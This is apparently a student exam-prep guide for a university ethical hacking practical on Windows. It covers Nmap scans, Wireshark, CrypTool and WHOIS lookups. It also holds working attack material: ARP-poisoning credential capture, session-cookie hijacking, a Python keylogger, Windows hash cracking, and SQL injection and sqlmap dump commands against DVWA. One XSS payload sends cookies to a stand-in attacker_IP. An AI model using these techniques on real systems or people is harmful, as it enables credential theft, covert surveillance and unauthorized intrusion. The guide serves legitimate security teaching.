📘 Ethical Hacking Practical Examination – Complete Guide (Windows OS)

> **University of Mumbai | T.Y. B.Sc. Sem VI (Computer Science) | Rev 21**
> **Course:** USCSP6042 – Ethical Hacking | **Duration:** 2 hrs | **Marks:** 50
> **Date:** 17 April 2025 | **Time:** 11:30 – 1:30

Marking Scheme: Practical (40) + Viva (05) + Journal (05) = **50 Marks**

> ⚙️ **All commands and procedures in this guide are for Windows OS.**
> Tools used: Nmap (Windows), Wireshark, CrypTool, Cain & Abel, ZenMap, Python (Windows), DVWA (XAMPP), Browser DevTools.

📋 Slip-wise Summary Table

Slip	Part A (20 Marks)	Part B (20 Marks)
1	NMap ACK Scan	SYN, FIN, NULL, XMAS Scans
2	NMap ACK Scan	Password Cracking (Dictionary + Cryptool)
3	SYN, FIN, NULL, XMAS Scans	Wireshark Traffic Capture & Analysis
4	Cryptool Encryption/Decryption	Network Analysis (ipconfig, ping, netstat, tracert)
5	Network Scan + Active Machines + Hops + Ping	Hops to www.prestashop.com
6	Reconnaissance (WHOIS)	ARP Poisoning to crack email password
7	Tamper Data in Firefox	Wireshark Sniffing
8	Python Keylogger	Reconnaissance on www.google.com
9	Password Cracking (Dictionary + Cryptool)	Reconnaissance (WHOIS)
10	Password Cracking (Dictionary + Cryptool)	SYN, FIN, NULL, XMAS Scans
11	Wireshark Capture	Cain & Abel Windows Password Crack
12	ARP Poisoning email crack	Network Scanning www.sports.com
13	Nmap/ZenMap Scans (Intense, Xmas, Null)	Python Keylogger
14	Ping & IP Scanner	Python Keylogger
15	Cross-Site Scripting (XSS)	SQL Injection
16	RC4 Encryption/Decryption	Wireshark Sniffing
17	Hops to www.google.com	Python Keylogger
18	Password Cracking (Dictionary + Cryptool)	Wireshark Capture & Analysis
19	Godaddy.com WHOIS/Ownership	Reconnaissance on www.google.com
20	RC4 Encryption/Decryption	Wireshark Sniffing

🏷️ SLIP 1

Part A – NMap ACK Scan (20 Marks)

Objective: Use NMap to perform an ACK scan to determine if a port is filtered, unfiltered, or open.

Prerequisites (Windows):

- Download & install **Nmap for Windows** from https://nmap.org/download.html (includes Npcap)
- Open **Command Prompt as Administrator**

Step-by-Step:

1. **Find your own IP & discover hosts:**
   ```cmd
   ipconfig
   nmap -sn 192.168.1.0/24
   ```
2. **Run ACK Scan:**
   ```cmd
   nmap -sA <target_IP>
   ```
3. **Scan specific ports:**
   ```cmd
   nmap -sA -p 80,443,22 <target_IP>
   ```
4. **Interpret Results:**
   - **Unfiltered** → Port responded with RST (no firewall blocking)
   - **Filtered** → No response or ICMP unreachable (firewall is blocking)
   - ACK scan maps **firewall rules**, not open/closed services

5. **Verbose output:**
   ```cmd
   nmap -sA -v <target_IP>
   ```

Part B – SYN, FIN, NULL, and XMAS Scans (20 Marks)

Objective: Identify open ports and their characteristics using various scan types.

Step-by-Step (Run CMD as Admin):

1. **SYN Scan (Half-Open):**
   ```cmd
   nmap -sS <target_IP>
   ```
   - SYN/ACK response = **Open** | RST = **Closed**

2. **FIN Scan:**
```cmd
nmap -sF <target_IP>
```
- No response = **Open|Filtered** | RST = **Closed**

3. **NULL Scan:**
```cmd
nmap -sN <target_IP>
```
- No response = **Open|Filtered** | RST = **Closed**

4. **XMAS Scan:**
```cmd
nmap -sX <target_IP>
```
- Sends FIN+PSH+URG flags | No response = **Open|Filtered** | RST = **Closed**

5. **Scan all at once:**
```cmd
nmap -sS -sF -sN -sX -p 1-1000 <target_IP>
```

6. **Document** in a table: Port | SYN | FIN | NULL | XMAS | Status

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SLIP 2

Part A – NMap ACK Scan (20 Marks)

(Same as Slip 1, Part A)

Part B – Password Cracking: Dictionary Attack + Cryptool (20 Marks)

Objective: Crack passwords using Dictionary Attack and Cryptool.

Dictionary Attack on Windows:

1. **Using John the Ripper (Windows build):**
   - Download from https://www.openwall.com/john/
   - Create a hash file:
     ```cmd
     echo 5f4dcc3b5aa765d61d8327deb882cf99 > hash.txt
     ```
   - Run dictionary attack:

```cmd
john --wordlist=wordlist.txt --format=Raw-MD5 hash.txt
john --show hash.txt
```

2. **Using Hashcat (Windows):**
   - Download from https://hashcat.net/hashcat/
   ```cmd
   hashcat -m 0 -a 0 hash.txt wordlist.txt
   ```

3. **Create your own wordlist** (`wordlist.txt`):
   ```
   password
   password123
   admin
   123456
   letmein
   ```

CrypTool Steps:

1. **Open CrypTool 1** (Windows application — download from https://www.cryptool.org)
2. **Type a password** in the editor window
3. **Encrypt:** Encrypt/Decrypt → Symmetric (Classic) → Choose Caesar/Vigenère
4. **Note the ciphertext**
5. **Decrypt:** Paste ciphertext → Same algorithm, same key → Recover original
6. **Brute Force:** Analysis → Symmetric Encryption → Brute Force

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SLIP 3

Part A – SYN, FIN, NULL, and XMAS Scans (20 Marks)

(Same as Slip 1, Part B)

Part B – Wireshark Traffic Capture & Analysis (20 Marks)

Objective: Capture network traffic and analyze packets to identify security issues.

Prerequisites:
- Install **Wireshark for Windows** from https://www.wireshark.org/download.html (includes Npcap)

Step-by-Step:

1. **Open Wireshark** (Run as Administrator)
2. **Select Network Interface:**
   - Choose `Wi-Fi` or `Ethernet` from the list
3. **Start Capture:** Click the blue shark fin button
4. **Generate traffic** (open a new CMD window):
   ```cmd
   ping google.com
   curl http://example.com
   nslookup yahoo.com
   ```
5. **Stop Capture** after ~30 seconds (red square button)
6. **Apply Display Filters:**
   ```
   http                  → Show only HTTP traffic
   tcp.port == 80        → Filter by port
   ip.src == 192.168.1.5 → Filter by source IP
   dns                   → Show DNS queries
   tcp.flags.syn == 1    → Show SYN packets
   ```
7. **Analyze a packet:**
   - Click any packet → Expand layers: Ethernet → IP → TCP → Application
   - Check source/dest IP, ports, protocol, payload
8. **Identify security issues:**
   - Plaintext passwords in HTTP POST
   - Unencrypted data
   - Suspicious DNS queries
9. **Save:** File → Save As → `.pcapng`

SLIP 4

Part A – Cryptool Encryption & Decryption (20 Marks)

Objective: Use CrypTool to Encrypt and Decrypt passwords.

Step-by-Step:

1. **Open CrypTool 1** on Windows
2. **Type a password** (e.g., `EthicalHacking@2025`)
3. **Symmetric Encryption:**
   - Encrypt/Decrypt → Symmetric (Modern) → RC4 / AES / DES
   - Enter encryption key → Click Encrypt → Note ciphertext
4. **Symmetric Decryption:**
   - Paste ciphertext → Decrypt → Same algorithm → Same key
   - Verify original password is recovered

5. **Classic Encryption (Caesar):**
   - Encrypt/Decrypt → Symmetric (Classic) → Caesar
   - Set shift value → Encrypt → Decrypt with same shift
6. **Asymmetric (RSA):**
   - Encrypt/Decrypt → Asymmetric → RSA → Generate keys
   - Encrypt with public key → Decrypt with private key
7. **Document:** Algorithm, key, plaintext, ciphertext, decrypted text

Part B – Network Analysis Commands (20 Marks)

Objective: Perform Network Analysis using Windows commands.

Step-by-Step (open CMD as Admin):

1. **ipconfig** – View network configuration:
   ```cmd
   ipconfig /all
   ```
   - Note: IP address, subnet mask, MAC address, default gateway, DNS

2. **ping** – Test connectivity:
   ```cmd
   ping google.com
   ping -n 4 192.168.1.1
   ```
   - Note: Round-trip time, packet loss %, TTL

3. **netstat** – View network connections:
   ```cmd
   netstat -an        :: All connections with numeric addresses
   netstat -b         :: Show process using each connection
   netstat -ano       :: All connections with PIDs
   ```
   - Note: Active connections, listening ports, state (ESTABLISHED, LISTENING)

4. **tracert** – Trace path to destination:
   ```cmd
   tracert google.com
   tracert 8.8.8.8
   ```
   - Note: Each hop (router), latency per hop, total hops

5. **Screenshot all outputs** for journal

SLIP 5

Part A – Network Scan, Active Machines, Hops, Ping (20 Marks)

Step-by-Step (CMD as Admin):

1. **Network Scan:**
   ```cmd
   nmap -sn 192.168.1.0/24
   ```
2. **Find Active Machines:**
   ```cmd
   nmap -sP 192.168.1.0/24
   arp -a
   ```
3. **Find Number of Hops:**
   ```cmd
   tracert 192.168.1.1
   ```
4. **Perform Ping Command:**
   ```cmd
   ping -n 4 192.168.1.1
   ping google.com
   ```

Part B – Hops to www.prestashop.com (20 Marks)

Step-by-Step:

1. **Run tracert:**
   ```cmd
   tracert www.prestashop.com
   ```
2. **Count hops** – each numbered line = 1 hop
3. **Note:** Each router IP, response times (ms), any `Request timed out` entries
4. **Nmap alternative:**
   ```cmd
   nmap --traceroute www.prestashop.com
   ```
5. **Using pathping** (Windows advanced traceroute):
   ```cmd
   pathping www.prestashop.com
   ```
   - Shows packet loss statistics per hop

SLIP 6

Part A – Reconnaissance / WHOIS (20 Marks)

Objective: Obtain domain name, URL, registrant name, email, and IP address.

Step-by-Step:

1. **Find IP Address:**
   ```cmd
   nslookup example.com
   ```
2. **WHOIS Lookup** (use web browser or install WHOIS tool):
   - Visit https://whois.domaintools.com → Search `example.com`
   - Or install Windows WHOIS:
     ```cmd
     :: Download Sysinternals whois from Microsoft
     whois example.com
     ```
   - Note: **Registrant Name**, **Registrant Organization**, **Registrant Email**

3. **Find Domain Name & URL:** directly from the WHOIS output
4. **IP Address:**
   ```cmd
   nslookup example.com
   ping example.com
   ```
5. **Document:** Domain name, URL, registrant, email, IP address

Part B – ARP Poisoning to Crack Email Password (20 Marks)

Prerequisites:
- Install **Cain & Abel** on Windows (download from archive/mirror sites)
- Attacker and victim must be on **same network**

Step-by-Step:

1. **Open Cain & Abel** → Go to **Sniffer** tab
2. **Configure Sniffer:**
   - Click Configure → Select your network adapter → OK
3. **Start Sniffer:** Click the Sniffer icon (network card icon in toolbar)
4. **Scan for Hosts:**
   - Go to Sniffer tab → Hosts sub-tab → Right-click → **Scan MAC Addresses**
   - Select IP range → Scan → All hosts appear in the list
5. **ARP Poisoning:**

- Go to **APR** (ARP Poison Routing) sub-tab at bottom
- Click `+` → Select victim IP on left, gateway IP on right → OK
- Click the **APR** yellow/green icon to start poisoning

6. **Capture Credentials:**
   - Go to **Passwords** tab at the bottom
   - When victim logs into email (HTTP), credentials appear under HTTP category
7. **Stop ARP poisoning** when done

> ⚠️ **Only perform on authorized lab networks.**

SLIP 7

Part A – Tamper Data / HTTP Request Interception (20 Marks)

Objective: Intercept and modify HTTP requests to impersonate a user's session.

Step-by-Step (Windows – using Browser DevTools):

1. **Open Firefox or Chrome**
2. **Open Developer Tools:** Press `F12` → Go to **Network** tab
3. **Visit a test login page** (e.g., DVWA on localhost via XAMPP)
4. **Submit a login form** → Watch the POST request appear in Network tab
5. **Inspect Request:**
   - Click the POST request → **Headers** tab → View Form Data (username, password)
   - **Cookies** tab → View session cookie (e.g., `PHPSESSID`)
6. **Modify & Replay Request:**
   - Right-click the request → **Edit and Resend**
   - Change cookie value or form parameters → Send
7. **Session Impersonation:**
   - Copy a valid `PHPSESSID` cookie from one browser
   - Open another browser → Press `F12` → Console:
     ```javascript
     document.cookie = "PHPSESSID=stolen_cookie_value";
     ```
   - Refresh page → You're logged in as the other user

Alternative – Burp Suite (Windows):

1. Download **Burp Suite Community** from https://portswigger.net
2. Set browser proxy to `127.0.0.1:8080`
3. Intercept requests → Modify → Forward

Part B – Wireshark Sniffing (20 Marks)

(Same as Slip 3, Part B)

SLIP 8

Part A – Python Keylogger (20 Marks)

Objective: Create a simple keylogger using Python and record keys.

Prerequisites:

- Install **Python for Windows** from https://www.python.org/downloads/
- Check "Add Python to PATH" during installation

Step-by-Step:

1. **Install pynput library** (open CMD):
   ```cmd
   pip install pynput
   ```
2. **Create keylogger script** — save as `keylogger.py`:
   ```python
   from pynput.keyboard import Key, Listener
   import logging

   log_file = "keylog.txt"
   logging.basicConfig(filename=log_file, level=logging.DEBUG,
                       format='%(asctime)s: %(message)s')

   def on_press(key):
       logging.info(str(key))
       print(f"Key pressed: {key}")

   def on_release(key):
       if key == Key.esc:
           return False  # Stop listener

   with Listener(on_press=on_press, on_release=on_release) as listener:
       print("Keylogger started. Press ESC to stop.")
       listener.join()

   print("Keylogger stopped. Check keylog.txt")
   ```
3. **Run the keylogger:**
   ```cmd
   python keylogger.py
   ```

4. **Type some test text** in Notepad or any application
5. **Press ESC** to stop
6. **View recorded keys:**
   ```cmd
   type keylog.txt
   ```
   - Or open `keylog.txt` in Notepad

Part B – Reconnaissance on www.google.com (20 Marks)

Step-by-Step (CMD as Admin):

1. **Determine Network Range:**
   ```cmd
   nslookup google.com
   :: Note the IP address (e.g., 142.250.x.x)
   :: Use online WHOIS: https://whois.domaintools.com → search google.com
   ```
2. **Identify Active Machines:**
   ```cmd
   nmap -sn 142.250.192.0/24
   ```
3. **Discover Open Ports and Access Points:**
   ```cmd
   nmap -sS -p 1-1000 google.com
   nmap -sV google.com
   ```
4. **Uncover Services on Ports:**
   ```cmd
   nmap -sV -sC google.com
   :: Common results: 80/tcp (HTTP), 443/tcp (HTTPS)
   ```
5. **Server Name:**
   ```cmd
   curl -I https://www.google.com
   :: Check the "Server:" header in response (e.g., gws)
   ```
   - Or in browser DevTools (F12 → Network → click request → Response Headers)

SLIP 9

Part A – Password Cracking: Dictionary Attack + Cryptool (20 Marks)

(Same as Slip 2, Part B)

Part B – Reconnaissance / WHOIS (20 Marks)

(Same as Slip 6, Part A)

SLIP 10

Part A – Password Cracking: Dictionary Attack + Cryptool (20 Marks)

(Same as Slip 2, Part B)

Part B – SYN, FIN, NULL, and XMAS Scans (20 Marks)

(Same as Slip 1, Part B)

SLIP 11

Part A – Wireshark Capture on Network Interface (20 Marks)

Step-by-Step (Windows):

1. **Launch Wireshark** as Administrator
2. **Select Specific Interface:**
   - Choose `Wi-Fi`, `Ethernet`, or `Local Area Connection`
   - Interfaces with activity show a small waveform/sparkline
3. **Start Capture:** Double-click the interface
4. **Generate traffic (open CMD):**
   ```cmd
   ping google.com
   curl http://example.com
   nslookup yahoo.com
   ```
5. **Apply Capture Filter** (before starting):
   ```
   host 192.168.1.1
   port 80
   ```
6. **Apply Display Filters** (after capture):
   ```
   tcp
   http
   ```

```
ip.addr == 192.168.1.100
dns
```

7. **Analyze:** Click packet → Expand layers → Note source, dest, protocol
8. **Statistics:** Statistics → Protocol Hierarchy | Conversations | Endpoints
9. **Stop & Save:** File → Save As → `.pcapng`

Part B – Cain & Abel Windows Password Cracking (20 Marks)

Objective: Crack Windows passwords using Cain & Abel with dictionary attack.

Step-by-Step:

1. **Install Cain & Abel** on Windows
2. **Open Cain & Abel** → Go to **Cracker** tab
3. **Import Hashes:**
   - Click `+` → **Import Hashes from Local System**
   - Or: **Import from SAM database** (requires admin)
4. **Select a user hash** → Right-click → **Dictionary Attack** → Choose LM or NTLM hash type
5. **Configure Dictionary:**
   - Click **Add** → Browse to your wordlist file (e.g., `wordlist.txt`)
   - Options: ✅ As-is, ✅ Uppercase, ✅ Lowercase, ✅ Two-word combinations
6. **Click Start** → Wait for password to be cracked
7. **View result** — cracked password appears in the Cracker tab
8. **Document:** Hash type, wordlist used, time taken, cracked password

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🔖 SLIP 12

Part A – ARP Poisoning to Crack Email Password (20 Marks)

(Same as Slip 6, Part B)

Part B – Network Scanning on www.sports.com (20 Marks)

Step-by-Step (CMD as Admin):

1. **Resolve the domain:**
   ```cmd
   nslookup www.sports.com
   ```
2. **Ping to check packets:**
   ```cmd
   ping -n 10 www.sports.com
   :: Note: Sent, Received, Lost packets, round-trip times
   ```

```
```

3. **Network scan for open ports:**
   ```cmd
   nmap -sS www.sports.com
   ```
4. **Discover active machines:**
   ```cmd
   nmap -sP www.sports.com/24
   ```
5. **Advanced packet analysis:**
   - Open Wireshark → Capture while pinging → Count packets in capture
6. **Using pathping for packet loss stats:**
   ```cmd
   pathping www.sports.com
   ```
7. **Document:** Active machines, open ports, packets sent/received/lost

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SLIP 13

Part A – Nmap/ZenMap Scans (Intense, Xmas, Null) (20 Marks)

Objective: Use Nmap (ZenMap GUI) to perform Intense, Xmas, and Null scans.

Prerequisites:
- ZenMap is included with Nmap Windows installation

Step-by-Step:

1. **Open ZenMap** (Start Menu → ZenMap) — run as Admin
2. **Intense Scan:**
   - Target: `<target_IP>`
   - Profile dropdown: Select **"Intense scan"**
   - Or in Command field:
     ```cmd
     nmap -T4 -A -v <target_IP>
     ```
   - `-T4`: Aggressive timing | `-A`: OS + version + scripts + traceroute

3. **Xmas Scan:**
   - Change command to:
     ```cmd
     nmap -sX <target_IP>
     ```
   - Sends FIN+PSH+URG | No response = Open|Filtered | RST = Closed

4. **Null Scan:**
   ```cmd
   nmap -sN <target_IP>
   ```
   - No flags set | No response = Open|Filtered | RST = Closed

5. **Compare all results** in the ZenMap output tabs (Nmap Output, Ports/Hosts, Topology)
6. **Save:** Scan → Save Scan

Part B – Python Keylogger (20 Marks)

(Same as Slip 8, Part A)

SLIP 14

Part A – Ping and IP Scanner (20 Marks)

Objective: Use Ping and IP Scanner to scan the network.

Step-by-Step:

1. **Ping scan with CMD:**
   ```cmd
   :: Ping a range manually
   ping -n 1 192.168.1.1
   ping -n 1 192.168.1.2
   :: ... or use a batch loop:
   for /L %i in (1,1,254) do @ping -n 1 -w 200 192.168.1.%i | find "Reply"
   ```
2. **Using Nmap ping scan:**
   ```cmd
   nmap -sP 192.168.1.0/24
   nmap -sn 192.168.1.0/24
   ```
3. **Using Angry IP Scanner** (Windows GUI):
   - Download from https://angryip.org/download/
   - Enter IP range: `192.168.1.1` to `192.168.1.254`
   - Click **Start** → View results (hostname, ping time, ports)
4. **Using Advanced IP Scanner** (another Windows option):
   - Download from https://www.advanced-ip-scanner.com
   - Click Scan → Shows all devices on network
5. **Document:** List of alive hosts, IPs, hostnames, response times

Part B – Python Keylogger (20 Marks)

(Same as Slip 8, Part A)

SLIP 15

Part A – Cross-Site Scripting (XSS) Attack (20 Marks)

Objective: Perform XSS to change content of Session Cookies.

Prerequisites:

- Install **XAMPP** on Windows → Start Apache + MySQL
- Install **DVWA** in `C:\xampp\htdocs\dvwa\`
- Open `http://localhost/dvwa/` → Login (admin/password) → Set Security to **Low**

Step-by-Step:

1. **Go to:** DVWA → XSS (Reflected)
2. **Basic XSS Test** — enter in the input field:
   ```html
   <script>alert('XSS')</script>
   ```
   - If alert box appears → **vulnerable!**

3. **Read Session Cookie:**
   ```html
   <script>alert(document.cookie)</script>
   ```
   - Shows `PHPSESSID=abc123; security=low`

4. **Modify Cookie Content:**
   ```html
   <script>document.cookie="security=high";</script>
   ```

5. **Cookie Theft payload:**
   ```html
   <script>
   new Image().src="http://attacker_IP/steal.php?cookie="+document.cookie;
   </script>
   ```

6. **Verify:** Press `F12` → Application tab → Cookies → Check modified values

Part B – SQL Injection (20 Marks)

Objective: Perform SQL Injection to retrieve usernames and passwords.

Prerequisites:

- Same DVWA setup on XAMPP → Go to SQL Injection page → Security: **Low**

Step-by-Step:

1. **Basic Test** — enter in User ID field:
   ```
   1' OR '1'='1
   ```
   - If it returns all users → **vulnerable!**

2. **Find Number of Columns:**
   ```
   1' ORDER BY 1#
   1' ORDER BY 2#
   1' ORDER BY 3#    ← Error here means 2 columns
   ```

3. **Extract Database Name:**
   ```
   1' UNION SELECT database(), 2#
   ```

4. **Extract Table Names:**
   ```
   1' UNION SELECT table_name, 2 FROM information_schema.tables WHERE table_schema=database()#
   ```

5. **Extract Usernames and Passwords:**
   ```
   1' UNION SELECT user, password FROM users#
   ```

6. **Crack MD5 hashes:**
   - Copy hash → Use https://crackstation.net or John the Ripper

7. **Automated using sqlmap** (install Python + sqlmap on Windows):
   ```cmd
   python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=xxx;security=low" --dump
   ```

SLIP 16

Part A – RC4 Encryption/Decryption (20 Marks)

Objective: Encrypt and Decrypt password using RC4 Algorithm.

Method 1 – Using CrypTool (Windows):

1. **Open CrypTool 1** → Type password (e.g., `SecureP@ss2025`)
2. **Encrypt:** Encrypt/Decrypt → Symmetric (Modern) → RC4
   - Enter key (e.g., `mykey123`) → Click Encrypt → Note hex ciphertext
3. **Decrypt:** Paste ciphertext → Decrypt → Same key → Verify original recovered

Method 2 – Using Python (Windows):

1. **Install PyCryptodome:**
   ```cmd
   pip install pycryptodome
   ```
2. **Create `rc4_demo.py`:**
   ```python
   from Crypto.Cipher import ARC4

   key = b'mykey123'
   plaintext = b'SecureP@ss2025'

   # Encrypt
   cipher = ARC4.new(key)
   ciphertext = cipher.encrypt(plaintext)
   print(f"Ciphertext (hex): {ciphertext.hex()}")

   # Decrypt
   cipher2 = ARC4.new(key)
   decrypted = cipher2.decrypt(ciphertext)
   print(f"Decrypted: {decrypted.decode()}")
   ```
3. **Run:**
   ```cmd
   python rc4_demo.py
   ```

Part B – Wireshark Sniffing (20 Marks)

(Same as Slip 3, Part B)

SLIP 17

Part A – Hops to www.google.com (20 Marks)

Objective: Find the number of hops from your system to www.google.com.

Step-by-Step (CMD):

1. **Using tracert:**
   ```cmd
   tracert www.google.com
   ```
2. **Count hops:** Each numbered line = 1 hop (router)
3. **Note:** Hop number, Router IP, 3 response times in ms
4. **Using pathping** (advanced, shows packet loss per hop):
   ```cmd
   pathping www.google.com
   ```
5. **Using Nmap traceroute:**
   ```cmd
   nmap --traceroute www.google.com
   ```
6. **Document:** Total hops, each router's IP, average latency, any timeouts

Part B – Python Keylogger (20 Marks)

(Same as Slip 8, Part A)

SLIP 18

Part A – Password Cracking: Dictionary Attack + Cryptool (20 Marks)

(Same as Slip 2, Part B)

Part B – Wireshark Capture & Analysis (20 Marks)

(Same as Slip 3, Part B)

SLIP 19

Part A – Godaddy.com Ownership & WHOIS (20 Marks)

Objective: Find owner of Godaddy.com, geographic location, and IP block owner.

Step-by-Step:

1. **Find IP Address:**
   ```cmd
   nslookup godaddy.com
   ping godaddy.com
   ```

2. **WHOIS Lookup:**
   - Visit https://whois.domaintools.com → Search `godaddy.com`
   - Note: **Registrant Name**, **Organization**, **Address** (geographic location)
   - Or use Sysinternals WHOIS:
     ```cmd
     whois godaddy.com
     ```

3. **IP Block Owner:**
   - Visit https://whois.arin.net → Enter the IP from step 1
   - Note: **OrgName**, **NetRange**, **CIDR**, **Country**

4. **Geographic Location:**
   - Visit https://www.iplocation.net → Enter IP
   - Or: https://ipinfo.io/<godaddy_IP>

5. **Document:** Owner name, organization, city/state/country, IP range, block owner

Part B – Reconnaissance on www.google.com (20 Marks)

(Same as Slip 8, Part B)

SLIP 20

Part A – RC4 Encryption/Decryption (20 Marks)

(Same as Slip 16, Part A)

Part B – Wireshark Sniffing (20 Marks)

(Same as Slip 3, Part B)

📝 Quick Recap – All 17 Unique Practicals (Windows)

#	Practical	Windows Tools/Commands
1	NMap ACK Scan	`nmap -sA` (CMD as Admin)
2	SYN/FIN/NULL/XMAS Scans	`nmap -sS -sF -sN -sX`
3	Password Cracking (Dictionary)	John the Ripper (Windows), Hashcat
4	CrypTool Encryption/Decryption	CrypTool 1 (Windows GUI)
5	Wireshark Capture & Analysis	Wireshark for Windows
6	Network Analysis Commands	`ipconfig /all`, `ping`, `netstat -an`, `tracert`
7	Network Scanning	`nmap -sn`, Angry IP Scanner, Advanced IP Scanner
8	Traceroute / Hops	`tracert`, `pathping`
9	Reconnaissance / WHOIS	`nslookup`, whois.domaintools.com
10	ARP Poisoning	Cain & Abel (Windows)
11	HTTP Tampering	Browser DevTools (F12), Burp Suite
12	Python Keylogger	Python + `pynput` on Windows
13	Cross-Site Scripting (XSS)	DVWA on XAMPP, browser
14	SQL Injection	DVWA on XAMPP, sqlmap
15	RC4 Algorithm	CrypTool 1, Python PyCryptodome
16	Cain & Abel Password Crack	Cain & Abel (Windows native)
17	WHOIS Ownership (Godaddy)	whois.domaintools.com, `nslookup`

🛠 Windows Setup Checklist

Install these tools before the exam:

- [ ] **Nmap + ZenMap** → https://nmap.org/download.html
- [ ] **Wireshark** → https://www.wireshark.org/download.html
- [ ] **CrypTool 1** → https://www.cryptool.org
- [ ] **Cain & Abel** → Search for archive mirrors
- [ ] **Python 3** → https://www.python.org (check "Add to PATH")
- [ ] **pip install pynput pycryptodome**
- [ ] **XAMPP** → https://www.apachefriends.org (for DVWA)
- [ ] **DVWA** → https://github.com/digininja/DVWA
- [ ] **Angry IP Scanner** → https://angryip.org
- [ ] **Burp Suite Community** → https://portswigger.net (optional)
- [ ] **John the Ripper / Hashcat** (Windows builds)

> 💡 **Viva Tip:** Be prepared to explain the theory — what each tool does, why specific flags are used, and what the output means.

> 📓 **Journal Tip:** For each practical include: Aim, Theory, Procedure, Commands/Code, Output Screenshots, and Conclusion.